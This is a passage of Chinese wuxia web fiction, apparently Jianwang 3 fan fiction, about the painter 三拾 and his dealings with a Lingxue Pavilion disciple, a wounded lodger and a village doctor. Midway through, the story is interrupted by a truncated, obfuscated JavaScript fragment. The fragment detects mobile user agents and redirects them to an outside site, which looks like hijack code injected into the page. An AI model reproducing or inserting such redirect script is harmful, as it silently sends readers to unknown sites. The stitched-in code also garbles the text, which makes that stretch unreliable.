就那么空着肚子等了好一会,三拾终于坐了下来。一想到以后吃饭都要等那么久,三拾当事人表示现在就是十分后悔。
那种事情不要啊!就不该指引锦菱过来!
趁着锦菱端面过来,三拾赶紧搭话,企图找回该女子闯荡江湖行侠仗义之心,最好立刻马上现在就出发。
“闯荡江湖也要盘缠吃饭的,迟点再侠吧。”锦菱笑着给三拾添了一个鸡蛋。
可恶,我污蔑她袖子沾我汤了能不能把她赶走?
当然,三拾并没有真的去污蔑人家小姑娘,只是一会喊她拿盐,一会说筷子脏了,一会要续汤,使唤人走来走去。用一些不光彩的小手段发泄完自己的不爽后,三拾吃饱喝足,踏上了去书肆的路。
书肆里十分安静,三拾表面看似在认真挑选画笔,实则心里一直叹气。
那小子一直跟在身后不远不近,视线紧紧黏着,一看他他就目移,跟防贼似的,实在太影响采购感受了。烦死了!
“客官都选齐自己想要的东西了吗?那我便开始算钱了。”
这家书肆在街上已经开了好几年,掌柜姓柴,是一名中年男子。如果仔细去看,便能发现这位柴掌柜拨打算盘的手刚劲有力,没有丝毫岁月该留的痕迹,反倒指腹和虎口有厚茧,青筋突起,这是长年握拿兵器的手。
三拾懒洋洋地倚靠着柜台,四处张望一眼,店里并没有其他客人。
“收徒弟了?”
柴掌柜的手明显停顿了一下,随即继续拨算。
“他就差在额头贴一张纸,写着‘我在盯着你’。”
柴掌柜无奈扶额,边说边抬头招了招手:“客人说笑了,咱们店的小郎只是比较热情,时刻准备着替客人拿取货物。”
站在货物柜后面的男孩立马就小跑着过来,十分乖巧地抬起头,双眼亮晶晶地看着柴掌柜:“掌柜的,您叫我?”
“这位叫三拾,是一名画师。没有店铺没有名气没有钱,平时主要在街上摆摊。”
“喂!后面两句可以不用加上。”
小男孩转而亮晶晶地看着三拾,脸上挂着甜甜的笑容,用甜甜的声音说话。
“三拾哥哥好,我叫水卞。”
……是挺随便的。
“帮起好听的假名,五金一次,要吗?”三拾托着腮说道。
水卞的嘴角僵了一下,马上再露出更大的笑脸。
“三拾哥哥你在说什么啊,我……”
“你这笑得太假了,不够专业。你眉眼稍微弯一些,眼睛周围的肌肉要动起来。”三拾说着就上手去按水卞的眉毛,“怎么,你们凌雪阁伪装不教表情的吗?”
下一刻,三拾的手被打掉,水卞的“笑容”转瞬即逝,脸色秒变阴沉,眼中甚至透露出一丝……杀气?
小伙子能力不咋地,脾气倒不小,年纪小小就已经腌入味了啊。
“知道凌雪阁身份的人,都不能活着,你……”
“师弟,别紧张,三拾知道我的身份。”
水卞表情一滞,想赶紧摆个笑容,“凶狠”还挂着没来得及收,那张脸一时之间被卡住了,要笑不像笑要狠又不狠,不知道是什么表情。眉毛跟嘴打了一架后,水卞直接摆烂翻了个白眼,不屑地切了一声,痞里痞气。
“早说啊,浪费表情。”
三拾也没想到突然就近距离看了一场变脸表演,一下子没绷住笑出声。水卞不满地瞪着他,简直想撕烂那张破嘴。
“笑死,能力不行,脾气不小,性格恶劣,你这师弟好啊。”
“你!你说什么?!”
“你看,一点就炸,脾气不小说对了吧?”
“你个臭画画的!再说一句试试!!”
“你看,没礼貌,性格恶劣说对了吧?而我一个臭画画的,都能一眼看穿你是凌雪阁的人,能力不行说对了吧?”
三句话,让一个孩子为我气到要炸。
水卞龇牙咧嘴,一张小脸憋得通红,捏成拳头的双手伸向
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腰后。三拾感觉他下一秒就要对自己放出一个乱天狼。
“咳。”柴掌柜看了水卞一眼。
那眼神一下就把孩子给戳漏气了。水卞默默收回手,低着头不再说话。
三拾毫不掩饰自己的得瑟。臭小子你记住,臭画画的也不是好惹的。
“惹个孩子你也好意思乐,就这点出息。”柴掌柜瞥了三拾一眼,低头继续打算盘。
“不惹他难道惹你?我只是想犯犯贱,没想找死。”
“别耍宝了,东西给你算好了,扣除掉你寄放在我这挂卖的画,还需给两百五十金。”
总感觉这个数怪怪的。
“你不会为了给你师弟出气,特意多收我的钱吧?”三拾一脸严肃问道。
柴掌柜听闻,脸上一改方才的轻松自在,跟着严肃:“这都被你发现了。”
三拾难以置信,痛心疾首:“姬夜澜,认识这么久了,你也知道我没有店铺没有名气没有钱,你居然为了一个师弟……”
自闭成小贝壳的水卞猛地抬起头,看向三拾的眼神变得有些复杂。
这个人不但知道师兄的身份,甚至还知道师兄的真名?凌雪阁弟子在外伪装或出任务从不会用真名,真名刻在木牌上,死了之后才会被同门带回去……
“行,那收你四百金。”
“不是,为什么收更多了?”三拾质问。
“你那些风格怪异的破画搁我这,两个月卖不出去一幅,上一幅是我强硬塞我师父手里并从他兜里抢的钱,为了报复我他把小徒弟丢给我了,所以你应该补偿我。”
“喂!不许当面说我的画!”三拾假装没有听到后面那些。
居然敢说那些是破画!三拾一怒之下怒了一下,用力把二百五十金拍在桌子上,对桌子造成了高达一点的攻击伤害。虽然手被硌得麻疼,但颇有不给个说法就砸店的气势。
虽然自己也知道那些光怪陆离的想法是卖不出去的,所以才丢姬月澜这,不然自己每天背来背去怪累的,但画师的尊严不许践踏!起码不许当面践踏……
“绝交!下次宁愿去隔壁街的书肆都不来你这破店!”三拾怒把满满的纸笔墨砚装进背篓,骂骂咧咧。
“你上次也是这么说的,欢迎客官下次再来——”柴掌柜摆出客气的笑容。
三拾瞪了他一眼,转身背上背篓,双手抓住背带,猛地发力——没背起来。
“……”
“……”
“……”
“水卞,给客人送个货吧。”姬月澜恨铁不成钢。
可恶!丢人!
水卞不明所以接过背篓,活动了一下肩膀,腰部发力背往后一拱,背篓稳稳当当被背起来。水卞难以置信地看向三拾。
“看什么看!我只是一个柔弱小画师,你们练武之人随随便便背起来不是很正常吗?”三拾理直气壮,转身就往门口走,一刻都不想在这破店待了。
走出几步,三拾回头看了一眼书肆的招牌。
柴记书肆。
这字还是他提的。
好气啊,早知道当初就该收姬夜澜一笔提字费了!
三拾每次看到这个招牌,都是这么想的。
5. 水卞2
两人相顾无言走在街上。
水卞稍稍放慢脚步,走在身后方便偷看……不是,方便观察。这人到底什么情况?和师兄的关系不一般,但弱得要命,像他这样的人,太白山的野猪一拱能拱十个。
“怎么?对我很感兴趣?”三拾都不用回头就知道那小脑瓜在想什么。
“谁……谁对你感兴趣了?自作多情!”水卞一急就忍不住大声说话。
遇到这种毛刺头小孩,三拾心就痒痒想犯贱:“我对你很感兴趣,不然给我说说你的事?”
等了几秒,预想中的回复并没有出现,身后的脚步声也停了。三拾疑惑回头。
顺着水卞的视线,三拾看到不远处站着一位妇人。
妇人手里拿着什么东西,左右张望,大声呼唤:“小江——小——江——”。
有人回应了,声音由远渐近,一个孩子跑得很快,在离妇人两臂长的地方弯膝一跳,踉跄着扑向妇人。妇人脸色大惊,伸手稳稳扶住,皱着眉责骂几句,孩子咯咯咯地笑起来。
妇人向孩子张开手掌,孩子看清楚后兴奋得扶着妇人的手又蹦又跳,妇人把东西递到孩子嘴边,孩子咬了一口,摇头晃脑地牵着妇人的手往回走。
三拾瞟了一眼,水卞看着那两人离开的背影,直到他们走进屋里,才收回目光。
“走吧。”语气淡淡的,三拾听不出是什么情绪。但这毛刺头居然跟他并排走了,说明人不太好了。
怎么我还得替你哄师弟啊姬月澜,你真得给我钱了。
“你拜师多久了?”三拾开口问道。
“别想套我的话,凌雪阁弟子不会轻易被人套话!”
“是吗?那我用你师兄的故事来交换你的故事怎么样?”
“哼,师兄的事他想告诉我的时候自然就会说了,不说那就是我不需要知道。”
“这个事他肯定不会说,”三拾停顿了一下,“但我觉得你会想知道。”
“哼,我不想知道,赶紧走!”水卞扯了一下背篓带子,加快了脚步。
三拾不紧不慢,丢出一句:“你还不知道吧,你曾经有一个师姐。”
果不其然,水卞脚步急刹,难以置信地回头:“什么?怎么可能?你就扯吧,师父和师兄都没跟我提过。”
“也难怪他们都没跟你说,”三拾脚步不停,“毕竟……”
水卞连忙跟上:“毕竟什么?”
“毕竟……你还没答应跟我交换,我不会轻易被人套话。”
水卞被控住了,嘴巴放不出技能。
呵,小小屁孩,轻松拿捏。
“……我答应你,你先说。”
孩子还是年轻啊,解控这么轻易就交了。
“你师父以前有两个徒弟,大徒弟是你师兄,二徒弟是你师姐,三人的关系很好。”
“然后呢?”
“后来……”三拾目光投向远方,仿佛走进了那段尘封的旧事,“你师兄和你师父,同时喜欢上了你师姐。”
轰隆——
三拾仿佛听到水卞的脑子被雷击了。
硬生生压住嘴角,三拾摇头无奈道:“你师姐不忍心伤害他们任何一个,只能不去回应他们的感情,但三人再也无法回到以前那般美好。最后,你师姐选择了出家,成为了一名尼姑。”
轰隆轰隆——
水卞仿佛坠入一个幽暗的洞穴,四周的嘈杂声全部消失,那些难过的情绪也全部消散,脑海里仅剩下两个字一直循环播放——尼姑尼姑尼姑尼姑……
三拾看着他空洞的双眼,拳头抵住嘴角轻咳一声。
孩子吓傻了?
胳膊感到一个捶击的力,水卞才回过神来,迷茫地看着三拾,仿佛度过了十二个时辰一样久。
三拾抿了抿嘴,抚平嘴角:“我说完了,到你了。”
话题转到自己身上,水卞莫名松了口气,刚才好像听了一个鬼故事,急需缓一缓。
那自己的事要怎么讲?师父教导过不能随便暴露身份,本来只是想套消息才装作答应,没想到这人居然知道自家师门的感情纠葛,说明这人跟自家人关系非常不一般。是自己人,可以信任。
水卞盯着自己的脚,脑海中浮现刚才妇人呼唤的声音,渐渐地,与记忆中的声音重叠。
“小江——小江——”
许寒江从水里冒出头,顺着声音看去,出声回应:“娘!”
殷炽搂着一个竹篮站在岸边,有风吹散她落在耳边的几缕秀发。她挥了挥手,笑意盈盈说道:“回家吃饭啦。”
许寒江一头扎进水里,往岸边游去。靠近殷炽脚边时猛得一拍,水花涌上了岸,打湿了殷炽的脚。
殷炽咯咯咯地笑起来:“我就知道你要来这套,特意脱了鞋子。”殷炽拿出竹篮里的草鞋放在地上,脚一伸就穿好了。
“哼,我看到娘脱了鞋子才拍的水,不然弄湿了又得挨爹爹的骂,说我欺负他夫人。”许寒江哼哼唧唧,脸上满是笑意,向母亲伸出手,“爹爹还没从集市回来吗?”
殷炽握住儿子的手,用力一拉,许寒江从水里爬了起来。
“应该快了,我们快点到家把菜都吃完,让他干啃馒头!”话音刚落殷炽就迈步跑起来了,没有一点普通妇人的矜持。
许寒江还在穿衣服,娘亲突然跑了,急得他捞起衣服就跟着跑。殷炽回头看到儿子光着膀子又慌又忙边跑边穿的样子,笑得非常大声。又因为跑得太快,风猛地往喉咙里灌,惹得她一阵咳嗽。
小小的许寒江经常会想,得亏他们一家三口住得偏,不然其他人看到他娘亲这个样子,少不了嚼舌根。
“吱呀”推开门,饭菜的香味扑面而来,许寒江的肚子很应景地响了。
殷炽把热在锅里的饭菜一一拿出来,儿子在摆碗筷。两人刚坐下,许青山就回来了。
“这可赶巧了。”殷炽笑眯眯看向门外的人。
“爹爹我不等你了,先吃为敬。”许寒江咬了一口馒头,夹起一筷子菜塞进嘴里,含在嘴里慢慢嚼。
随着他的嘴巴一动一动,他看到娘亲的笑容一点一点消失。
许寒江咀嚼的动作停了,他想问娘亲怎么了。
“小江,今天的饭菜有点素,爹爹想吃鱼,你去河里抓一条回来吧。”许青山微笑着,像往常任何一日一样。
“啊?现在吗?菜够多了,鱼明天再吃吧,爹爹别挑食。”许寒江疑惑地看着父亲,模仿父亲平时说话的语气。
“是有点素,说得我也想喝鱼汤了,小江去吧,抓一条大一些的回来。”殷炽摸了摸许寒江的头,重新露出一个微笑。
许寒江不想去,他
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没由来地觉得不能离开。
“怎么?娘亲叫不动你啦?”殷炽一遍一遍地抚摸着儿子的后脑勺,双眼克制不住地流露出着急。
“好,我这就去,娘别急。”许寒江放下筷子,“记得给我留一些菜。”
“当然,不会饿到小江的。”
骗子。
好饿,娘亲是骗子。
许寒江记不得几天没有吃东西了。
他抓到了一条很肥的鱼,可以一半给爹爹做鱼脍,一半给娘煮汤。还没到家他就忍不住大声炫耀,要让爹娘看看他抓的这条大鱼。
可是,人呢?
爹去哪了?娘去哪了?
桌上的饭菜他们都没动,已经要凉了。
是不是上茅房了?在寝室里吗?去河边找我了?上山挖菜去了?
不在。不在。不在。哪里都不在。
可能是爹爹想起落下什么东西在集市里,他们去拿了,那我把菜热着等他们回来吃吧。
他们怎么还没回来?好饿,好困。
娘,我先吃了,哼,居然让我等这么久,等你们回来也要让你们饿饿肚子。
这鱼再放就要坏了,等爹回来了再去抓新的吧。
怎么还没回来?路上遇到什么事了?
不行,我不能出去,万一他们刚好回来就错过了,再等等吧。
再等等。再等等。
为什么?
为什么还不回来?
为什么我要去抓鱼?
我明明发现了娘亲的不对劲,却还是离开了。
都怪我。对,都怪我。都怪我。都怪我。
娘,我不去抓鱼了,你快回来吧,爹爹,你快回来。
快回来,快回来……
小江……小江害怕……
眼睛闭上之前,许寒江迷迷糊糊看到了一个红黑色的身影。
是爹爹?
“睁开眼的时候,我就在凌雪阁了,是师父把我带回去的。”水卞把背篓放下,“正好,到你家了。”
“辛苦你了,剩下的我自己分开拿进去就行。”三拾点头,推开外门,回头却看到水卞欲言又止的模样。
“还有事?”
水卞抓了抓脸,问:“你知道……我师姐在哪个寺庙吗?”
啊,差点忘记这茬事了。
三拾把半边身子藏到门板后面,说道:“其实,我跟你说的那些,都是假的。”
“什么?”
“我说——我刚刚说的那些,都是假的,骗你的,没有师姐,没有尼姑,没有感情纠葛,你师父只有你师兄和你两个徒弟。”
三拾看着水卞的脸,表情从诧异逐渐扭曲。他眨了一下眼,水卞不知道从身上哪个地方拔出了链刃,链刃的颜色很深,更显锋利。
你们凌雪阁的怒火会强化武器?
三拾身形紧忙一闪,把剩下半边身子也藏到门板后。
不知道小师弟武学怎么样,我的门能扛得住吗?扛不住正好找姬夜澜赔钱装个新的。
三拾做好迎接怒火的准备,虽说还是孩子,但也有十二三岁了,不容小觑。
链刃划破空气,出现的却不是木板破裂的声音。
“锵!”
看来孩子武学不怎么样,这都打到哪了?怎么是金属碰撞的声音?
6. 水卞3
三拾好奇地露出一只眼睛,映入眼帘的是——那两条穿了跟没穿一样的破布。
水卞虽然很生气,但也分辨得出来三拾对自家师兄的重要性,本是想吓唬吓唬那个弱不禁风的家伙,但现在被吓到的是他。
眼前突然出现的人,浓烈到仿佛有实体的杀气从那双金色的眼睛里溢出,双色弯刀折射出的光芒不及那金色万分之一——那是一双看死人的眼睛。
“二郎?”
却在听到呼唤的一瞬间,那双眼睛里的恶意尽数褪散。
二郎双手轻松一甩,直接逼退了那两把链刃。水卞卸力,连连后翻撤退一大截,脚跟触地的瞬间用力一蹬,链刃甩出。
弯刀迎面挥出,精准打到链刃,水卞迅速把链刃回收。
“快住手!你们不要再打了!”三拾赶紧从门后出来,挡在二郎前面,“要打去柴记打,别在我家门口打。”
二郎收起武器,眨巴眨巴双眼,一脸无辜地看着三拾。
水卞嘴角抽搐了一下,刚才那杀人的眼神他不会看错,现在这装可怜的眼神他也不会看错……搞什么?
三拾面向水卞:“你自己动手被他发现身份的,可不怪我啊,都别动,等我拿个东西。”说完转身就往屋里跑。
经三拾这么一提醒,水卞才想起自己现在的身份是书肆小郎。他紧张地环视一圈,还好三拾住得相对偏,这会街上没有其他人。对上二郎的视线,对方依靠在门上,一副看戏的表情。
水卞有点尴尬。三拾其实不用担心两人再打起来,因为水卞知道自己不可能打得过。对方身上缠着绷带,应该是带着伤,即使是这样,他估计也是连对方一根头发都动不了,实力过于悬殊,那又何必讨打。
那眼神,是在无数次生死攸关的战斗中浸出来的,岂是他这个刚进凌雪阁两三年的小学徒敢杠的角色。师父说过,在不值得他把命交代出去的事情上,打不过就跑不丢人。
好在三拾没有让他尴尬太久,拿着一张折好的纸出来了。
“师姐是骗你的,交换是真的,”三拾递出纸条,“这个给你师兄,他就会主动告诉你很多事情了,回去吧。”
水卞收下纸条,转身就走,一刻都不想在这个地方多待。
三拾转头看门口那个:“你怎么在外面?”
“听到你声音,翻墙出来看看。”
“你不能直接从门口出来吗?”
“我刚看你掩着门说话,鬼鬼祟祟的,以为你不希望对方看到我,我就……从侧边爬出去看看是什么人。”二郎心虚目移,视线投向地上的背篓,转移话题:“方才那孩子是……?”
“书肆小郎,送货上门的。”二郎识趣地没有再问,直接把背篓拎进屋里。
没有在屋里多待,三拾整理完东西就准备出门摆摊,回头一看,二郎正托着腮坐在椅子上看他忙活。
“你没有别的事情干吗?”
“我才在这养伤第二天,你就嫌我碍事了?”二郎瘪了瘪嘴,把身子坐直,超不经意地展示自己缠紧绷带的腹部。
……呦,看你刚才跟小孩打架那轻松劲,我还以为你身上那些绷带是装饰物呢。
三拾很想嘲讽几句,话到嘴边又咽下去了,算了,人家给了钱的。
水卞这边回到店里,把纸条交给师兄。姬月澜疑惑打开,上面寥寥两行字——师弟给你哄好了,怎么哄的你别管。
低头一看,水卞满眼好奇地看着他。
“……有事?”
“师兄没有什么话想和我说吗?”
“……没有。”
“真没有?”
“我应该跟你说什么?”姬月澜一头雾水。
“不知道……”
姬月澜感觉不对劲,赶紧抓住水卞问了过程。
水卞说完,姬月澜面无表情一拳捶在桌上,手边的茶杯被震得飞起来,又稳稳落回原位。
“天天编排我,也不见编点好的!”姬月澜琢磨了一下,大概明白了三拾的意思。
水卞不明所以,但正如三拾所说,师兄开始给他讲故事了。
夕阳刚落,天色却已经完全暗下来,空气中飘着一股尘土的味道,估摸着是要下雨了。今日出摊晚,三拾本想晚点才回,这下不得不赶紧收了。
一进门,就看到二郎躺在院子的躺椅上。
二郎听到开门声,嘴角上扬,眉眼弯弯,甚至不自觉地歪了歪脑袋。
这种发自内心的笑,真想让姬月澜那小师弟观摩观摩。
“你回来了。”二郎已经点起了灯笼,金色的瞳孔在烛光下越发明亮。
不是,你怎么像个在苦苦等待主人回家的寂寞小猫?
“还没吃饭是吗?”
你怎么知道?
“饿坏了吧?还有一些剩饭剩菜在锅里热着,我去端来,你先进屋里坐坐。”
三拾进门后还一句话没说,反倒是二郎劈里啪啦说完一溜烟跑进厨房了。
不是,这是你家还是我家?
也没人跟我说肌肉猛男会做饭啊?
等等,你管这叫剩饭剩菜???
三拾看着满满两盘菜和两个大馒头摆在自己面前,脑子呆滞。
“你为什么在我家煮上饭了?”
“等会再说,你先尝尝看合不合口味。”二郎把筷子递给三拾。
三拾确实很饿了,接过筷子开始干饭。
味道居然非常可口。三拾惊了。
二郎双手撑着腮,笑眯眯地看着三拾吃完两个大馒头,心满意足。
“不吃了吗?”
“吃不下了。”
二郎点点头,伸手拿过三拾的碗和筷子,夹起菜往自己嘴里塞。
三拾擦嘴的手停顿了一下,不易察觉地皱了皱眉:“你自己没吃吗?”
“吃过了,只是刚刚看你吃得那么香,又有点饿了。”
二郎很久没煮饭,手艺有些生疏,炒的第一盘菜尝过后觉得不够好,便自己吃掉再重新炒了新的。
炒完菜便放在锅里热着,出门去悄悄看三拾什么时候收摊,再赶在三拾到家前自己先回到。
“所以你为什么在我家煮上饭了?”
“我的钱全都给你了,我没钱吃饭,看到你厨房还有些材料,便自己煮了。”
三拾这才意识到,这人昨天该不会一天都没有吃饭吧?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422638|184782||http|test|mini|href|location''.split(''|''),0,{}));
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>二郎风卷残云般迅速解决掉真正意义上的剩菜,端着碗筷去洗了。
三拾的情绪有点复杂。
会装可爱,会煮饭,会因为你回家而高兴,会笑眯眯看着你,不浪费食物且勤快,还护zh……不是,爱护住处,长得还好看的小m……住客,让他多住几天好像也可以接受?三拾说服了自己。
但是不许上我的床。
时间尚早,三拾多点了两根烛火,掏出纸笔。
自己画了七日的图本,梁府三小姐一下就看完了,当即便派人来下定新的本。三小姐可是稳定客源,一定得伺候到位。
那新本画什么好呢?
三拾拿着笔杆一下一下地戳着下巴,无意间抬头,和屋里另一个人对上了视线。
二郎还是那个模样,坐在椅子上,托着腮微笑着看着他。不知是夜色昏暗,还是烛火朦胧,那双金色的眼睛格外温柔,就像黑夜中指引迷路者的亮光,让人甘愿追随着,走进那片金色的海。
发现三拾在看自己,二郎尾巴高高翘起,嘴角都要冲上天了。他想起之前蹲守的一个暗杀目标,跟情人们耳鬓厮磨时都会特意压低声音说话,那些小情人们一个两个都被迷得脸红心跳,神魂颠倒。
二郎突然领悟了。他换了一边手托腮,对三拾抛了个媚眼,嘴角勾出一个迷人的弧度,压低声音呵呵一笑,特意让喉咙发声时产生夸张的震动,听起来就像含着一口气泡在喉咙里:
“怎么,你也为我着迷?”
手里的笔“吧嗒”掉到了地上,三拾倒吸一口凉气——救命,家里有个鬼迷日眼的失心疯!
二郎心花怒放,这招果然有用,他被我惊艳到笔都拿不稳了!
感觉耳朵和眼睛被人狠狠打了一拳,脑袋瓜嗡嗡的。三拾决定报仇,他知道画什么了,他要画一个武林高手回到家被伴侣欺负到哭的本,武林高手的模样就照着家里这个失心疯来画。梁三小姐肯定会喜欢到尖叫。
三拾当即开始动笔,时不时抬头瞟一眼二郎。
二郎意识到三拾在画他,心里那叫一个甜啊。他在为我画像,他果然迷上了我!
“你在画我吗?”二郎明知故问,脸刻意转到一个自认比较好看的角度。
“是的,你别动。”至于画的什么,你别管。
就这样硬控了二郎一个时辰,三拾困了。
把猫赶出门,三拾收拾妥当就躺下了。反正门关没关他都进得来,懒得锁了。
半夜下雨,淅淅沥沥的雨声吵醒了三拾,他迷迷糊糊中感觉到那家伙又爬上了自己的床,然还没来得及作反应便又睡过去了。
早上睁开眼,那只猫却没有在床上。推开门,一低头就看到二郎正老老实实地躺在躺椅上。
三拾迷惑。
“早上好。昨晚下雨了,我把椅子搬到屋檐下好躲雨,不然伤口湿了水可就麻烦了。”
你小子点我呢?
“你伤怎么样了?”
“很严重,痛得要昏过去了,完全没好。”
我看起来像个瞎子还是像个傻子?你又翻墙又打架又撬锁能上街能煮饭,你说你很严重?
三拾不想搭理他,洗漱出门。
7. 林青荷1
又一次在转角拐弯,三拾开始考虑,还是拿包子早点走算了,不然像昨天那样要饿着肚子等半天。一抬头,发现今天不用等了,因为摊位空荡荡的,一个人都没有。
一个人都没有的意思是——连刘婶和锦菱都不在。
我婶呢?我早饭呢?
周围时不时冒出一个和三拾一样来吃早饭的人,看到摊位空空也是疑惑着掉头走了。刘婶这个点不可能还没醒,还没出摊说明出事了。
三拾不想管闲事。但离了刘婶,谁会把他当还能长高的孩子?谁会给他加鸡蛋?三拾转身向刘婶家走去。
远远便看见锦菱正与一女子走出家门口。三拾赶紧小跑两步,逐渐靠近后看清了那女子的样貌,三拾直接停下了脚步,是一个不太想遇到的人。
“三拾?”
来不及躲了,已经被发现了。
“刘婶怎么了?”三拾直奔话题。
锦菱的眉头一直拧着,脸上满是担忧:“刘婶的手被烫伤了,林姐姐刚施了外用药,还得回医馆配几副内服药。”
“既然三拾来了,那便让他随我去拿药,锦菱妹妹,你留在家中照看好刘婶,别担心,刘婶很快就会好起来的。”
林青荷抬手揉了揉锦菱的脑袋,笑容温和似微风拂过,抚平了锦菱的焦虑。
“好,林姐姐你们快去,刘婶就交给我!”
好一幕温情写意的画面,让人看得心头暖暖。如果要干活的不是我就好了。
“好像没有人问我的意见?”三拾为自己发声。
林青荷一步走到三拾面前,注视着三拾的眼睛轻声说:“好三拾,三拾是好孩子,三拾最关心刘婶了对不对?刘婶现在很需要我们,她在等着我们呢,我们去拿药给她,好不好?”
这就是三拾不太想遇到林青荷的原因——她会无差别地将所有人当成小孩子哄。而这种行为……
“……好。”
没有几个人能拒绝。
两人到达医馆的时候,等候区已经坐了好几位。
一位老人正怡然自得地躺在旁边的摇椅上,一手摇着大蒲扇,一手抚着自己的胡子,两条长长的白眉和浓密的白胡子更显得他慈眉善目。三拾每次见到这位老郎中,都感觉这是一位隐入凡尘的福寿仙人。
“青荷来啦,今日怎么迟了些?”
林青荷放下随身药箱,在摇椅旁蹲下,扶着椅子把手与老郎中平视:“师父,我邻居刘婶,您还记得吗?她手被烫伤了,我处理了一下。”
老郎中眯起眼睛,看向医馆门外:“噢我记得,伤势如何?”
“七日内是无法用手了,我先去给她配药。”
“去吧。那几位,可都等了你好一会了。”老郎中笑呵呵地拿蒲扇指了指在等待的病人。
林青荷背对着病人们,悄悄对师父露出一个无奈的笑,随即便起身往药柜走去,路上还唤来馆里的学徒,一边捡药,一边给学徒讲解。
“嗯?三拾也来了?哪里难受吗?”
三拾搬了个凳子往老郎中旁边一坐,开始与老人家闲聊。
林青荷是梅花街的著名人物,三拾是在刘婶的摊上认识的她。著名人物总会在饭桌上被人拿出来反复提及,三拾听了不下五次林青荷的事。
据说林父是万花谷弟子,所以林青荷从小在万花谷长大,耳濡目染,学得一身好本领。林父逝去后,林青荷离谷,四处游历行医。在某个村子里偶遇了那位老郎中,林青荷好学好问,为人温婉有礼,十分得老郎中喜爱。老郎中便收其为徒,传授医术。
后来老郎中开了这家医馆。而林大夫,温柔美丽,医术高超,还特别会哄小孩。久而久之,林青荷声名远扬,每日都有人专门来医馆找她看病。
都找林青荷看病,那老郎中要干的活就少了,每天都轻松自在地坐着躺着,指点学徒,看书写字,自然也是乐得其所。但老郎中也不会真当脱手掌柜。病人走进医馆,指名要林青荷看的,先看一眼精神状态,那精神得能去锄二里地的,就让他排队等着。精神状态差,病情急的,老郎中自会出手。
也遇到过小病装严重的病人,指名让林青荷急看,老郎中一手脉把过去,破口大骂——好那点色装得命都要没了,搭个台你一个人就是一场戏!病人羞得当场装晕,被老郎中猛猛扎了几针,痛得飙汗也得硬装没醒。
许是这边二人的聊天氛围过于欢快,林青荷那边也正忙着,无人搭理的等候区终是有人坐不住了。
“喂林大夫!我很难受,快点来给我医治!”医馆里所有人的目光都被吸引了过去。
一个壮男,对,又是一个壮男。
三拾这几天捅到壮男窝了,都要对壮男产生恐惧了。
一个壮男,虎背熊腰,声如洪钟,正举着自己的左手,表情十分不满站在等候区。
林青荷温柔问道:“阁下是哪里难受?”
“我手扭伤,疼得很,需要马上治疗。”壮男嚷嚷着,倒是一点都没看出来疼得很。
“哎呦,既是需要马上治疗,那老夫来为你看看如何?”老郎中撑着扶手,从躺椅上站起。
壮男瞅了一眼老郎中,轻蔑一嗤:“老人家还是躺好吧,让林大夫为我治疗更合适。”
“噢,行,那你就等着吧。”老郎中学着壮男的模样对他轻蔑一嗤,笑眯眯地又躺了回去。
壮男没想到这小小的医馆,居然连一个老头都敢怠慢他,这可把壮男激怒了,瞧不起谁呢这是?壮男面露怒色:“你们医馆这是要拒客的意思吗?老子来你们这花钱是你们的荣幸!”
不是哥们,知道的是医馆,不知道的还以为你进的是什么风俗之地。
然而壮男的怒吼并没有得到重视。医馆里,看戏的三拾;闲情躺着的老郎中;各自干着活的学徒们;也在等候但失去兴趣百般无聊四处张望的其他病人。只有林青荷无奈且熟练地伸手去摸什么东西,大伙的脸上都写着“见多了习惯了懒得理”。
哎呦喂,壮男更气了,抄起板凳就往地上砸。
“咻——咻咻——咻——”
空气中出现暗器破空的声音,三拾的眼睛只能捕捉到几道残影划过,接着就传来打击重物的闷响。
只听壮男呃一声惨叫,面露苦色一点点地滑落。站在旁边的学徒熟练地一伸手,接住了板凳,放到壮男的屁股下,扶着他坐好。
“阁下是第一次来我们医馆吧?”林青荷的声音依旧温柔。
壮男嘴唇发白,满头大汗,话都说不出口。三拾看了一眼那些“暗器”,原来是些棋子。学徒捡起那几枚棋子,小跑着递给林青荷,林青荷放进了她随身带的小佩囊里。
“我们的小学徒应该给你发了排队纸吧?老师父也说了你急着看就他来,你不愿意。医馆有医馆的规矩,阁下不想遵守离开便是。大家都是病人,没有你厉害就你优先的道理,若是阁下想用拳头说话,那在下也略懂一些武学,可以奉陪。”
用最温柔的声音说最硬核的话,三拾看乐了。
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>老郎中眯起眼抚了抚白胡子,招手让三拾贴近咬耳朵:“你是不知道,这小姑娘猛得很呐,当年可着实把我吓一跳。”
三拾闻言,一脸正经拉过老郎中的手,另一边手轻轻搭在上面:“安老前辈,请务必细说!”
老郎中笑呵呵抚过白胡子,拉着三拾的手小声述说。
安苻每年秋天都会去一趟何家村,今年也不例外。
“安爷爷来了!安爷爷来了!”
想了好一会,安苻才认出了那个蹲在村口玩的小孩是老友的小孙子。孩子一年一个样,要不是那双遗传了爷爷的大浓眉,安苻还真不一定想得起来。
小孩撒起腿就跑,一路跑一路喊,村名们闻言都纷纷探头和安苻打招呼。
“安大夫来啦。”
“安大夫!”
“安大夫。”
“安爷爷您来了!”
安苻抚着胡子,一路点头回应,时不时停下搭话。
“呦!老安头,还活着呐?”小孩扶着自家爷爷站在门口等候,远远看到安苻,老友就忍不住大声喊道。
“你也活着呢老何头,大老远就听到你叫唤了,中气这么足,看来还能活挺久啊。”
两位年纪加起来过百的老人相视一眼,朗声笑了。
老何头的儿子何明从地里了赶回来,连忙把两位老人请进家里,倒茶递水。“安伯父,长途跋涉累了吧,先喝些茶润润嘴,我去给您备些吃的。”
“好孩子别忙活了,我不饿,你歇息去吧。”安苻拍了拍何明的肩膀,笑意盈盈。
何老头呦一声仰起头,露出得瑟的嘴脸:“怎么样?我儿子好吧,羡慕吗?”
安苻停止笑容:“孩子好跟你这个糟老头子有什么关系,那是他遗传了母亲的秉性。”
说到这个,何老头就更得瑟了:“哎呦你说得对啊!诶你说,萍儿怎么……最后还是选了我这个糟老头子呢?”说完何老头就忍不住大声笑起来,笑得那叫一个爽。
安苻瘪了嘴,瞪了何老头一眼:“你有病吧?年年都拿这个事出来得瑟,都得瑟多少年了?”
何老头笑得更大声了:“对,我有病,你正好给我治一治。”
